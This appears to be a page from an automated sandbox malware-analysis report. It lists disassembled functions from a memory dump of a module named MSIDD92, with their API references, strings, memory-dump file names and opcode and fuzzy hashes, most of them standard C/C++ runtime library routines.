Function 00D94DF4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D94DFB
_Mpunct.LIBCPMT ref: 00D94E88
_Mpunct.LIBCPMT ref: 00D94EA2

Strings

$+xv, xrefs: 00D94EAD

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: e674e2b2d7979da88c2fcf1b9b845126c6bb54aa5a8d5b7af4b213d0bbc3ff67
Instruction ID: ab8a74ef1a43b2a9536b940d9d11738e2904adef0ab8f9423bd9dfd86ab433f2
Opcode Fuzzy Hash: e674e2b2d7979da88c2fcf1b9b845126c6bb54aa5a8d5b7af4b213d0bbc3ff67
Instruction Fuzzy Hash: 0C2181B1904B92AEDB25DF758450B7BBEE8FB09710F04455AE459C7A42D734E602CBB0

Function 00D9C012 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00D9BFC3,00000000,?,00DD4EA4,?,?,?,00D9C166,00000004,InitializeCriticalSectionEx,00DBF92C,InitializeCriticalSectionEx), ref: 00D9C01F
GetLastError.KERNEL32(?,00D9BFC3,00000000,?,00DD4EA4,?,?,?,00D9C166,00000004,InitializeCriticalSectionEx,00DBF92C,InitializeCriticalSectionEx,00000000,?,00D9BF1D), ref: 00D9C029
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00D9C051

Strings

api-ms-, xrefs: 00D9C036

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 05e7ecd61b67dbaf12b989cffa38df8c654a8107347a16a2702d1d6e9a85ce74
Instruction ID: 0a0bce67341cfacc7ecb399943a7a9e4d37a80d60c79cd65ed8cf02dde6fc621
Opcode Fuzzy Hash: 05e7ecd61b67dbaf12b989cffa38df8c654a8107347a16a2702d1d6e9a85ce74
Instruction Fuzzy Hash: 21E01A74294308FBEF202BA2EC06B593B5A9B01B51F244020FA0CE81E0E762A95596F4

Function 00D7E350 Relevance: 6.4, APIs: 4, Instructions: 426COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00D7E3F0
_strcspn.LIBCMT ref: 00D7E412
LocalFree.KERNEL32(?), ref: 00D7E77B
LocalFree.KERNEL32(?), ref: 00D7E7C3

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: FreeLocal_strcspn
String ID:
API String ID: 2585785616-0
Opcode ID: b5add647bb4d0a27c5a70c829892a051f0c827505ad1a32ef9fd8e0573ae0d0b
Instruction ID: 6c62c14f56d8b38c7154b02ecd233161ecf2f3850cc32332f9863a080eeb30cc
Opcode Fuzzy Hash: b5add647bb4d0a27c5a70c829892a051f0c827505ad1a32ef9fd8e0573ae0d0b
Instruction Fuzzy Hash: 8EF13775A00249DFDF15CFA8C984AEEBBB6FF48304F148169E819EB251E731E945CB60

Function 00DB738B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(862265DA,?,00000000,?), ref: 00DB73EE

Part of subcall function 00DB002B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00DAC527,?,00000000,-00000008), ref: 00DB00D7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DB7649
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DB7691
GetLastError.KERNEL32 ref: 00DB7734

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 52febe46b16e39be5e9a1a0b7cabde91443f93228eb48f37872e2abe919af76a
Instruction ID: f69ab6bb1443ba84798129bcf24baa77638ce4b43eb2c248cf8142f7b61db76a
Opcode Fuzzy Hash: 52febe46b16e39be5e9a1a0b7cabde91443f93228eb48f37872e2abe919af76a
Instruction Fuzzy Hash: 0FD159B5D04648DFCB15CFA8D880AEDBBB5FF49300F28456AE856EB351D730A946CB60

Function 00D88872 Relevance: 6.3, APIs: 4, Instructions: 313COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D88879
_strcspn.LIBCMT ref: 00D888E4
_strcspn.LIBCMT ref: 00D88904
ctype.LIBCPMT ref: 00D88974

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 3eaddabe75bd379f844137d4ecb93d00871002781e040ba9ebd2ed9f1d446380
Instruction ID: 790eacfcab838f25d4556219affe6be028f9795dfd90c42c477a537570943de1
Opcode Fuzzy Hash: 3eaddabe75bd379f844137d4ecb93d00871002781e040ba9ebd2ed9f1d446380
Instruction Fuzzy Hash: 3DC14B71900249DFDF19EF98C985AEEBBB9FF48310F64401AE805A7251DB30AE45DBB1

Function 00D82A16 Relevance: 6.3, APIs: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D82A1D
_strcspn.LIBCMT ref: 00D82A88
_strcspn.LIBCMT ref: 00D82AA8
ctype.LIBCPMT ref: 00D82B18

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 621b41520a8c16b1c0be6c18ae63677bbd25e95f89390577abff788d9b1e78e9
Instruction ID: 962ae3e691d89066893bfff7091f6c1461879154b087ce635da78df47d61fe1f
Opcode Fuzzy Hash: 621b41520a8c16b1c0be6c18ae63677bbd25e95f89390577abff788d9b1e78e9
Instruction Fuzzy Hash: E7C15C71900249EFDF15EFA8C981AFEBBB9EF48310F14451AE805AB255D730AE45CBB1

Function 00D94F20 Relevance: 6.3, APIs: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D94F27
collate.LIBCPMT ref: 00D94F33

Part of subcall function 00D93E70: __EH_prolog3_GS.LIBCMT ref: 00D93E77
Part of subcall function 00D93E70: __Getcoll.LIBCPMT ref: 00D93EDB

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

__Getcoll.LIBCPMT ref: 00D94F76

Part of subcall function 00D93CD4: __EH_prolog3.LIBCMT ref: 00D93CDB
Part of subcall function 00D93CD4: std::_Lockit::_Lockit.LIBCPMT ref: 00D93CE5
Part of subcall function 00D93CD4: std::_Lockit::~_Lockit.LIBCPMT ref: 00D93D56

Part of subcall function 00D84403: __EH_prolog3.LIBCMT ref: 00D8440A
Part of subcall function 00D84403: std::_Lockit::_Lockit.LIBCPMT ref: 00D84414
Part of subcall function 00D84403: std::_Lockit::~_Lockit.LIBCPMT ref: 00D844BB

numpunct.LIBCPMT ref: 00D951A6

Part of subcall function 00D784C0: LocalAlloc.KERNEL32(00000040,00000000,00D9839D,00000000,862265DA,?,00000000,?,00000000,?,00DBCB8D,000000FF,?,00D717D5,00000000,00DBD3BA), ref: 00D784C6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_$Getcoll$AllocH_prolog3_Localcollatenumpunct
String ID:
API String ID: 2732324234-0
Opcode ID: 4359ad990d4e3909d6515cdc82977122d7a526f60ebd97d5abef5145afe0a8d4
Instruction ID: 50fb424da9c5961688f8e5284009274da8c555de6c5483a3321ed0280b1564b5
Opcode Fuzzy Hash: 4359ad990d4e3909d6515cdc82977122d7a526f60ebd97d5abef5145afe0a8d4
Instruction Fuzzy Hash: DB91D671900712ABDF21AB759806B7F7AA9EF41360F15852EF849A7346EF70890087F1

Function 00D9AFD5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D9B09C
___AdjustPointer.LIBCMT ref: 00D9B0BF
___AdjustPointer.LIBCMT ref: 00D9B15B

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6072a8d19557620ac795c686f60c2d85f1d8e8368f97596a00913198da981cc8
Instruction ID: 0f246aa2e34e6b3ea08248eef2a1be5aafe904c84adccf945f7b28da456e3f51
Opcode Fuzzy Hash: 6072a8d19557620ac795c686f60c2d85f1d8e8368f97596a00913198da981cc8
Instruction Fuzzy Hash: E851C372601302AFDF258F14EA51B6A77A4FF41720F1A452EEC5A97291E731EC40D7B0

Function 00DA7B18 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e470bb95c3f34493103a2d238da4cb4ebb341420b57bcf5e2c1038790a05685
Instruction ID: af825b01c4cb5a9b0d341ceb6077eb2a0671e2ba6859adcb1c9fae95465d31d5
Opcode Fuzzy Hash: 6e470bb95c3f34493103a2d238da4cb4ebb341420b57bcf5e2c1038790a05685
Instruction Fuzzy Hash: 69216DB2608205AFDB20AF75CC41D6B7BA9EF423A47148925F955D7652EB31EC40C7B0

Function 00D79020 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,76B15490,00D78B3A,00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D79027

Strings

> returned:, xrefs: 00D79036
Call to ShellExecute() for verb<, xrefs: 00D79031
Last error=, xrefs: 00D79081

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: 9ee7693641a3507077bfb5736453dd5a5eadd7e0674066a3730e8100d7bf0cdc
Instruction ID: 3ea310c7eb6f007d98e60699e9725c0faf408b5f9301aef016526a13b6979b74
Opcode Fuzzy Hash: 9ee7693641a3507077bfb5736453dd5a5eadd7e0674066a3730e8100d7bf0cdc
Instruction Fuzzy Hash: 80216A4AA2026286CB341F288416739A2F0EF54765F28442FE88DC7394FA698C81D3A1

Function 00D84403 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8440A
std::_Lockit::_Lockit.LIBCPMT ref: 00D84414
std::_Lockit::~_Lockit.LIBCPMT ref: 00D844BB
Concurrency::cancel_current_task.LIBCPMT ref: 00D844C6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskH_prolog3Lockit::_Lockit::~_
String ID:
API String ID: 4244582100-0
Opcode ID: 8f1a72f825a49d08a1961b73fb9d91a4f03c8e345a76b854bd56407014b71e9b
Instruction ID: 37ad4d142926608b61791baf7b091da29298a39d161402747f7e5d19a1f81a61
Opcode Fuzzy Hash: 8f1a72f825a49d08a1961b73fb9d91a4f03c8e345a76b854bd56407014b71e9b
Instruction Fuzzy Hash: 31214C34A00616DFCB04EF18C891A6CB761FF45720F04855AE9169B3A1DF70ED10CFA4

Function 00D81400 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,862265DA), ref: 00D8143C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00D8145C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00D8148D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00D814A6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 961f648b5b94b2ac89eeec0571cb53ec0baa6f7eb8d338cacd0ea916505a3a95
Instruction ID: 371c2c6ecb7a077948667dd68bef15020f51e2fdc48129c93afbd26b1d5e7e81
Opcode Fuzzy Hash: 961f648b5b94b2ac89eeec0571cb53ec0baa6f7eb8d338cacd0ea916505a3a95
Instruction Fuzzy Hash: 7E218174941319EFD7209F54DC0AFAABBB8EB05B24F10421AF511EB3C0D7B45A05CBA4

Function 00D880C5 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D880CC
std::_Lockit::_Lockit.LIBCPMT ref: 00D880D6

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D88127
std::_Lockit::~_Lockit.LIBCPMT ref: 00D88147

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 5d3fc832bd7c8878af44da63b8659a889444b3d73d62b9a8a64c2bf372ae60b1
Instruction ID: b22bf961568e6c1e810202f20fbbf642ce7d0e8bd9daf87cf1e0f8647d0085de
Opcode Fuzzy Hash: 5d3fc832bd7c8878af44da63b8659a889444b3d73d62b9a8a64c2bf372ae60b1
Instruction Fuzzy Hash: ED01C075940359DBCF01FB64D8466AE7762EF80720F68440AE415AB391EF709E029BB0

Function 00D881EF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D881F6
std::_Lockit::_Lockit.LIBCPMT ref: 00D88200

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D88251
std::_Lockit::~_Lockit.LIBCPMT ref: 00D88271

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 3b21467cb427c33200691fffe8dea2e0e76982ec2e2f847f6d5c65548ac8191f
Instruction ID: ea13ab3abc570f5f28a1d531c0c83e8a380a0c66c11993fa22dacf099ac18fdd
Opcode Fuzzy Hash: 3b21467cb427c33200691fffe8dea2e0e76982ec2e2f847f6d5c65548ac8191f
Instruction Fuzzy Hash: 8701C075900619CBCF01FBA4D8067ADB761EF80720F29440AE811AB391EF709E019BB4

Function 00D8815A Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D88161
std::_Lockit::_Lockit.LIBCPMT ref: 00D8816B

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D881BC
std::_Lockit::~_Lockit.LIBCPMT ref: 00D881DC

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d416fec07020b60f4105fbb8779faab84cddb567bd570c2f3465c672c5e5fb0a
Instruction ID: 9a6aeda7fbecaf3c67fbcc2ec608b302bb02f48a9021d5a74a77370465f63115
Opcode Fuzzy Hash: d416fec07020b60f4105fbb8779faab84cddb567bd570c2f3465c672c5e5fb0a
Instruction Fuzzy Hash: 0301C035900719DBCB01FBA4D8466BE77A1EF84720F68450AF411AB391EF709E029BB0

Function 00D826F9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D82700
std::_Lockit::_Lockit.LIBCPMT ref: 00D8270A

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D8275B
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8277B

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 004fccb6ec3ced7f571f9192597cf2a5c39a1a98bf1ac6223a6630975c3ff232
Instruction ID: a32c1f8c5859387a9225139f15f735e55392da436d23008e2d64c988dfe2079d
Opcode Fuzzy Hash: 004fccb6ec3ced7f571f9192597cf2a5c39a1a98bf1ac6223a6630975c3ff232
Instruction Fuzzy Hash: 8C01C075900219DBCB01FBA4D8066BD77A1EF84720F28410AE410AB391EF709E01ABB0

Function 00D8278E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D82795
std::_Lockit::_Lockit.LIBCPMT ref: 00D8279F

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D827F0
std::_Lockit::~_Lockit.LIBCPMT ref: 00D82810

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 0c711dc5d6244387f3c8fdb7a61664e4c74805748b7057e0c312c50849ac5bf5
Instruction ID: 747a05c8ca10b0b1df123dc4e73be285f2e19ebe0d6173b00453f0c7786a0c89
Opcode Fuzzy Hash: 0c711dc5d6244387f3c8fdb7a61664e4c74805748b7057e0c312c50849ac5bf5
Instruction Fuzzy Hash: A5019275900259DBCF05FB64E8066BE77B5EF80720F28450AF415AB391EF749E019BB1

Function 00D879C9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D879D0
std::_Lockit::_Lockit.LIBCPMT ref: 00D879DA

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87A2B
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87A4B

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
